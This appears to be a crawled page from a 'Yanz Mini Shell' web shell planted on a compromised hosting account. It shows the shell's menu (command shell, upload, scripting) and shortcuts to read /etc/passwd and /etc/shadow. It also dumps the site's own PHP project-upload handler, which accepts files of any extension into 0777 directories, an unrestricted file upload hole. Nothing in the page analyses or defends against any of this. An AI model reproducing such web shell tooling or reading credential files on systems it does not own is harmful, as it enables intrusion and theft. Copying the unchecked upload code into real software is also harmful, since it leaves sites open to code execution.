Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
datetimepicker
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php header('Content-Type: application/json'); include '../../config/config.php'; error_log('stephen st..............'); $response = ['status' => 'error', 'message' => 'Something went wrong.']; try { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { throw new Exception("Invalid request method."); } // Sanitize and extract project data $project_name = $_POST['product_name'] ?? ''; $category = $_POST['category'] ?? ''; $price = $_POST['price'] ?? 0; $district_id = $_POST['district_id'] ?? 0; $area_name = $_POST['area_name'] ?? ''; $type = $_POST['type'] ?? ''; $status = $_POST['status'] ?? ''; $description = $_POST['description'] ?? ''; // Handle project image $project_image = ''; if (!empty($_FILES['images']['name']) && $_FILES['images']['error'] === 0) { $uploadDir = 'uploads/Projects/'; // Capital 'P' if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } $ext = pathinfo($_FILES['images']['name'], PATHINFO_EXTENSION); $filename = uniqid('project_') . '.' . $ext; move_uploaded_file($_FILES['images']['tmp_name'], $uploadDir . $filename); $project_image = $filename; } // Insert into projects using PDO $stmt = $pdo->prepare("INSERT INTO projects (project_name, category_id, price, district_id, area_name, type, status, description, image) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)"); $stmt->execute([$project_name, $category, $price, $district_id, $area_name, $type, $status, $description, $project_image]); $project_id = $pdo->lastInsertId(); // Handle rooms if present if (!empty($_POST['room_type'])) { foreach ($_POST['room_type'] as $index => $room_type) { $room_details = $_POST['room_details'][$index] ?? ''; $work_type_arr = $_POST['work_type'][$index] ?? []; $material_type_arr = $_POST['material_type'][$index] ?? []; if (!is_array($work_type_arr)) $work_type_arr = [$work_type_arr]; if (!is_array($material_type_arr)) $material_type_arr = [$material_type_arr]; $work_types = implode(',', $work_type_arr); $material_types = implode(',', $material_type_arr); $stmt = $pdo->prepare("INSERT INTO project_rooms (project_id, room_type, room_details, work_types, material_types) VALUES (?, ?, ?, ?, ?)"); $stmt->execute([$project_id, $room_type, $room_details, $work_types, $material_types]); $room_id = $pdo->lastInsertId(); // Room images upload if (!empty($_FILES['room_images']['name'][$index])) { $roomUploadDir = 'uploads/rooms/'; if (!is_dir($roomUploadDir)) { mkdir($roomUploadDir, 0777, true); } foreach ($_FILES['room_images']['name'][$index] as $i => $name) { $tmp_name = $_FILES['room_images']['tmp_name'][$index][$i]; if (is_uploaded_file($tmp_name)) { $ext = pathinfo($name, PATHINFO_EXTENSION); $imgName = uniqid('room_') . '.' . $ext; move_uploaded_file($tmp_name, $roomUploadDir . $imgName); $stmt_img = $pdo->prepare("INSERT INTO project_room_images (room_id, image) VALUES (?, ?)"); $stmt_img->execute([$room_id, $imgName]); } } } } } $response = ['status' => 'success', 'message' => 'Project saved successfully.']; } catch (Exception $e) { $response = ['status' => 'error', 'message' => $e->getMessage()]; } echo json_encode($response); exit;
Free Space : 11093999616 Byte